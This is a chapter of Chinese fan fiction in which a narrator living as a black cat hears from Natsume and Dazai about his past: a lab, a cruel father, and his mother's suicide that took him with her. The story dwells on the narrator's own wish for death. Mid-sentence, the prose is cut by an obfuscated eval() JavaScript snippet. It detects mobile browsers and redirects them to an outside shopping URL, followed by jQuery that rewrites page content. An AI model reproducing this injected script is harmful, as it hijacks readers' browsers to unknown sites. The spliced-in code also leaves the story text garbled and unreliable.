“我、死去的……宠物……黑猫?”
我现在使用的外表,是我死去的宠物黑猫的?
我、我死去的宠物黑猫!?
“是的,正是如此。我从头开始跟你说起吧,关于你我的缘分。”夏目轻轻地用指尖点点我的鼻尖——猫咪们常用互碰鼻尖来表达友好……他大概,是在我更熟悉的猫咪语言来安慰我吧。
“我一开始是在一个实验室里发现的你——那些人,正在研究‘书’。至于你和‘书’之间的缘分……”他垂眸不语片刻,才接着说下去,“你已经猜出来了,我就不多赘述。”
“而接下来的,便没什么好多说的了,只是你暂时被我收养了而已……出于一个抱有善心、且具备付出这种善心能力的人,我姑且做了我该做的事。”
“是吗?”小治却在这时反驳了,“并不是这样的吧,夏目先生可还说得真是轻描淡写呢,但事实并不是这么简单的吧。一个具备类似于‘书’这样能力的孩子,无论如何,就算他是受害者,那也不能就这样简简单单地‘放归’普通人的社会。”他抱着臂膀,手指轻点手臂,“当然了,这只是我的猜测,您要是不想承认的话,我也没什么好说的。”
咪……小治异常的有攻击性呢。
夏目苦笑一声:“太宰君真是嘴下毫不留情啊……”他摩挲着手杖的头,“但是我确实无法反驳你的话,事实,的确就如同你说的那样。”他轻轻地用歉意的视线触碰了我一下,“小咪,我们的故事的确开启于一个不算愉快的时刻……”
“……不,这没什么。虽然我已经忘记了那时的我是怎么想的,我无法替当时的我说出我那时的感受,但我可以告诉你现在的我是怎么想的——我并不介意这样的事,就算你给予善心的理由并不完全纯粹,但你也的确给出了。”我舔了一下爪子,梳理着那已经很平整的毛发,“不管怎么说,这种事……并不需要探究得那么清楚。我知道的,很多事物……就是从这样的过度探究中腐溃的。”
每一个人做出善事的原因真的都需要那样刨根问底地探究个一清二楚吗?这世上几乎没有事物经得起这样极致的探寻。
更何况,在这件事里,我还是那个受益人……要我去做这样的事,未免有些丧失良心了。
除非……夏目这样做其实是为了以此作为掩护去做些另外的恶事,那这便很有探究的必要了,可是,他真的会那样做吗?
我无法那样去猜忌那位老人。
我做不到。
“是吗?小咪真是一个好孩子啊……”夏目神色复杂,“老夫竟然被你安慰了……真是失责。”
“……也并没有说‘安慰’这种事必须要谁来做才可以的吧。”
我不去看他,他想来也不想我去看这个时候的他。
小治:“……你们这样反倒显得我像是那个坏人一样。”
他不太耐烦地点点脚尖……也可能不是不耐烦,只是……不太耐受?
我看不太透。
小治的心的确很复杂,比很多很多人都要复杂。复杂到有时我也会怀疑,那种某些时候惊鸿一瞥般窥见的,我与他照镜子般的那种奇异的同类感,是否只是我的一种错觉而已。
只是……联想到他之前质问我的那个问题——我不该有“死亡”的想法……
我又觉得那并非错觉了。
是的,正如小治所说,我……的确也有着对死亡的……向往?我不知道我是否应该用上这个词,但我的确有时候会想着就这样到达彼岸,不再面对这个扭曲而痛苦的世界。
我不知道另一个世界是怎样的,是比这个世界更糟糕?还是比这个世界更美好?
按这个生者的世界中的大多数言论来看,显然大多数人都只能进入那个更糟糕的世界。
但是,那真的是那样的吗?这些话,究其源头,都是从信仰宗教的人口中传出的,他们的话往往都显得不太寻常,而这些话也的确能在一定程度上引人向善。
可是,那真的是真相吗?
死者的世界,到底是怎样的呢?
它……真的能隔绝生者的苦痛吗?还是说……其实是加强了呢?
可是,可是……
这已经是懦弱无能如我,所能找到的最好的退路了。
如果连这最后的退路也依然如此令猫绝望,那我……那我也不知道要怎么办才好了。
这个世界,真的会这样残酷吗?
而这,也会是小治的想法吗?这也是他最后的退路吗?
我知道的,我知道的……
他也一直在痛苦着,如我、或比我更加地痛苦着。
他所看到的,他估计也看到了。
而他一直以来的行为,却让我更加迷信那个未知的路途——
既然小治也同样赞同这件事,那么,我……
我为什么不可以呢?
只是,或许是因为我比他要更加懦弱吧,我从未实践过,也从未在小治他们面前透露出我有这种想法。
正如有着这种想法的我,其实也并不赞同小治的做法那样。
我依旧知道生命的可贵之处。
我知道这世界上并不总是只有痛苦的地方。
可是……
我真的很痛苦。
我并不是想要结束生命,我、我想要结束的只是痛苦而已。
而生命,正如我以往所付出的那些代价一般,也只是用来换取的代价而已。
我其实已经明白了为什么我的异能力会是那样的呈现——
记忆在我看来正是生命的体现,而用记忆换取我认为有价值的事物……本质上来说,与我一贯的想法,是一致的。
它,我的异能力,「我的人生」,的确就是我的半身,是映照着我灵魂的事物。
它比我愚钝的脑子,还要更加快、更加深远地看到了我的灵魂。
“小咪为什么不说话呢?是在想些不该想的东西吗?”小治突然揪住我一边的脸颊,轻轻拉扯了下,“难道你真的觉得我是那个坏人吗?”他不爽快地半眯着眼睛瞥视我,有种微妙的幼稚斗气感。
……他真的不知道我刚刚在想些什么吗?
我有着疑心,但又没有勇气去反驳他,只好含糊地反驳了他的话。
“才不是那样……是小治你想太多了才是……”
话一出口我就知道糟糕了,这软弱犹豫的口气,一定会被小治当借口(也许不是)狠狠地玩弄我一番的。
但是,在我胆战心惊地偷偷用余光观察他的时候,他却并没有要像以往一样,抓着我的“破绽”肆意地戏弄我的意思,只是不大爽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442452|176840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快地“哼”了一声,就此作罢。
我都不知道要不要庆幸好了。
……怎么会有这样的人,他戏弄我也不是,不戏弄我也不是……两种做法都不怎么让猫痛快。
只是一者让人担忧自己,一者让人担忧他……
真的是,各种意义上的,恶劣的人呢。
夏目并没有对我们两人(猫)之间的官司多加关注,只是在开口前有一阵微妙的停顿。
“……再接下来的,则是老夫在替你寻找来处时,发现你竟和我有着血脉相连的联系。”
他垂下眼睛,因年老而逐渐堆积起来的眼皮耷拉着,显得很没精神。
“而那时的我,做出了一个错误的决定。”
小治:“你……将小咪送回了他‘应该回去的地方’。”
“……是的,太宰君说得没错,我的确做出了这样的错事。”夏目捏着他常戴的那顶帽子,手指微微发白。
“我妄断地觉得,你应该有一个更完整的家庭,而不是因为那带给你过多痛苦的异能力,而必须跟我这个糟老头子待在一起。于是,我愚昧地做出了将你送入噬子的魔鬼手中的决定。
“一开始,那个男人还是能做出表面应有的姿态的,我也渐渐放下了戒心,认为他就算不完全真心,至少也能给你一个父亲应有的关爱。”
“但你忽视了很多东西。”小治抱着自己的臂膀,神情冷淡,像覆了一层冰那般,“比如那时普通人对异能者的排斥,比如那个男人过大的欲望,比如那个可怜的母亲的绝望,比如……小咪到底是怎么进入那个地方的。”
夏目陷入了一阵难耐的沉默。
“……是的,我忽略了太多的东西,我太过自大了,以为我的权威、血脉的联系,以及那一连带的利益关系,能让那个狠心的男人真心地接纳你……”
“咪……”
我也有些不知道说什么好了。
这的确是在我身上发生过的事,可那一切对于现在的我来说,真的只是如同故事一样的事,我对它的感触可能还没有那些重视我的人来得更深。
“唉……往事已矣,再莫回头……那已经是过去的事了,小咪应该也不太想要知道太多‘前世’的事。”
说是这样说,我的确是这么想的,但看他们的表现……这显然只是用来宽慰他们自己的话。
真希望他们能将这话听进去才是。
“再之后,是小咪你的母亲因绝望而自/杀,出于某种原因,她也带上了你……”夏目摇摇头,“关于那位可怜的女士为什么这么做,我不便多言,总之,那并不是一些愉快的理由。”
“咪……还发生了这样的事啊。”我有些恍惚。
对于那个生育了我的女性,我的母亲,我对她毫无印象,而第一次听见她的信息,竟然是她的死讯,还并非是体面的死法……我的确不知道该说些什么。
只是心中滚动着难言的复杂情绪,一时五味杂陈。
至于夏目所说的她带上了我的事……
那时的我,是怎样想的呢?
我……究竟是无知下的顺从,还是绝望下的不得已,更或者……我是自愿的呢?
我……
我已经什么都不知道了。
那的确,已经是我“前世”的事情了。